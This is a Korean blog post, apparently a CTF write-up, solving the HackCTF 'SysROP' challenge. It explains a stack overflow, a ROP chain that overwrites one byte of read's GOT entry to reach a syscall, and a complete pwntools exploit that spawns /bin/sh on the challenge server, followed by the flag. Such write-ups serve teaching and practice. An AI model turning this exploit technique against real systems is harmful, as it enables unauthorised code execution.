ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SysROP
    CTF/HackCTF 2021. 2. 5. 20:08

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        void *buf;
        
        setvbuf(_reloc.stdout, 0, 2, 0);
        setvbuf(_reloc.stdin, 0, 2, 0);
        read(0, &buf, 0x78);
        return 0;
    }

    main에서 read를 통해 0x78바이트만큼 입력받아 스택 버퍼 오버플로우가 발생한다.

    Return Oriented Programming


    NX bit가 걸려있고, system 함수나 syscall 가젯이 없으며, 라이브러리 주소를 leak할 수 있는 함수도 없다.

     

    바이너리에 rax, rdi, rsi, rdx를 제어할 수 있는 가젯이 있으므로 syscall만 확보하면 원하는 시스템 콜을 자유자재로 호출할 수 있을 것이다.

     

    라이브러리의 read 함수가 시스템 콜을 사용한다는 점에 착안해보자.

     

    문제에서 주어진 라이브러리 파일을 gdb를 통해 분석하면 <read+14>에 syscall이 위치한다.

     

    libc base address는 마지막 바이트가 0x00으로 고정이고, read의 offset이 0xf7250이므로 read의 got는 마지막 바이트가 0x50일 것이다. ROP를 통해 마지막 바이트를 0x5e로 바꾼다면 read를 통해 syscall을 사용할 수 있다.

     

    따라서 .bss 영역에 binsh 문자열을 덮어쓴 다음 syscall을 통해 execve("/bin/sh", 0, 0)을 호출하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./sysrop"
    server = "ctf.j0n9hyun.xyz"
    port = 3024
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    
    e.checksec()
    
    prax = (r.find_gadget(['pop rax', 'pop rdx', 'pop rdi', 'pop rsi', 'ret']))[0]
    
    main = 0x4005f2
    read_plt = e.plt["read"]
    read_got = e.got["read"]
    bss = e.bss() + 0x800
    
    payload = b"A"*0x18
    payload += p64(prax)
    payload += p64(0) + p64(0x8) + p64(0) + p64(bss)
    payload += p64(read_plt)
    payload += p64(main)
    payload += b"A"*(0x78-len(payload))
    
    p.send(payload)
    
    p.send("/bin/sh\x00")
    
    payload = b"A"*0x18
    payload += p64(prax)
    payload += p64(0) + p64(0x1) + p64(0) + p64(read_got)
    payload += p64(read_plt)
    payload += p64(prax)
    payload += p64(0x3b) + p64(0) + p64(bss) + p64(0)
    payload += p64(read_plt)
    
    p.send(payload)
    
    p.send("\x5e")
    
    p.interactive()

    Flag

    HackCTF{D0_y0u_Kn0w_sysc411?}

    'CTF > HackCTF' 카테고리의 다른 글

    Beginner_Heap  (0) 2021.02.09
    j0n9hyun's secret  (0) 2021.02.07
    Pwning  (0) 2021.02.05
    Unexploitable #3  (0) 2021.02.05
    babyfsb  (0) 2021.02.05

    댓글

Designed by Tistory.